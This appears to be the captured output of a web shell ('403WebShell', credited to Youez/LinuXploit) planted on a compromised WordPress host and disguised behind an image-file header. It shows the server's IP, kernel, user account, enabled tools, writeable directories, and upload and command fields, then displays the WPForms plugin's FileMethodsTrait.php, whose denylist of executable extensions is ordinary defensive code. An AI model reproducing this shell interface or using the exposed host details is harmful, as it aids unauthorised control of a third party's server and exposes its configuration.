????JFIF??x?x????'403WebShell
403Webshell
Server IP : 172.67.174.47  /  Your IP : 216.73.216.34
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/wp-content/plugins/wpforms-lite/src/Forms/Fields/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/wp-content/plugins/wpforms-lite/src/Forms/Fields/Traits/FileMethodsTrait.php
<?php

namespace WPForms\Forms\Fields\Traits;

/**
 * File methods trait.
 *
 * @since 1.9.8
 */
trait FileMethodsTrait {

	/**
	 * File extensions that are not allowed.
	 *
	 * @since 1.9.8
	 *
	 * @var array
	 */
	private $denylist = [
		'ade',
		'adp',
		'app',
		'asp',
		'bas',
		'bat',
		'cer',
		'cgi',
		'chm',
		'cmd',
		'com',
		'cpl',
		'crt',
		'csh',
		'csr',
		'dll',
		'drv',
		'exe',
		'fxp',
		'flv',
		'hlp',
		'hta',
		'htaccess',
		'htm',
		'html',
		'htpasswd',
		'inf',
		'ins',
		'isp',
		'jar',
		'js',
		'jse',
		'jsp',
		'ksh',
		'lnk',
		'mdb',
		'mde',
		'mdt',
		'mdw',
		'msc',
		'msi',
		'msp',
		'mst',
		'ops',
		'pcd',
		'php',
		'pif',
		'pl',
		'prg',
		'ps1',
		'ps2',
		'py',
		'rb',
		'reg',
		'scr',
		'sct',
		'sh',
		'shb',
		'shs',
		'sys',
		'swf',
		'tmp',
		'torrent',
		'url',
		'vb',
		'vbe',
		'vbs',
		'vbscript',
		'wsc',
		'wsf',
		'wsf',
		'wsh',
		'dfxp',
		'onetmp',
	];

	/**
	 * Get all allowed extensions.
	 * Check against user-entered extensions.
	 *
	 * @since 1.9.8
	 *
	 * @return array
	 */
	protected function get_extensions(): array {

		// Allowed file extensions by default.
		$default_extensions = $this->get_default_extensions();

		// Allowed file extensions.
		$extensions = ! empty( $this->field_data['extensions'] ) ? explode( ',', $this->field_data['extensions'] ) : $default_extensions;

		return wpforms_chain( $extensions )
			->map(
				static function ( $ext ) {

					return strtolower( preg_replace( '/[^A-Za-z0-9_-]/', '', $ext ) );
				}
			)
			->array_filter()
			->array_intersect( $default_extensions )
			->value();
	}

	/**
	 * Determine the max-allowed file size in bytes as per field options.
	 *
	 * @since 1.9.8
	 *
	 * @return int Number of bytes allowed.
	 */
	public function max_file_size(): int {

		if ( ! empty( $this->field_data['max_size'] ) ) {

			// Strip any suffix provided (e.g., M, MB, etc.), which leaves us with the raw MB value.
			$max_size = preg_replace( '/[^0-9.]/', '', $this->field_data['max_size'] );

			return wpforms_size_to_bytes( $max_size . 'M' );
		}

		return (int) wpforms_max_upload( true );
	}

	/**
	 * Get default extensions supported by WordPress
	 * without those that we manually denylist.
	 *
	 * @since 1.9.8
	 *
	 * @return array
	 */
	protected function get_default_extensions(): array {

		return wpforms_chain( get_allowed_mime_types() )
			->array_keys()
			->implode( '|' )
			->explode( '|' )
			->array_diff( $this->denylist )
			->value();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit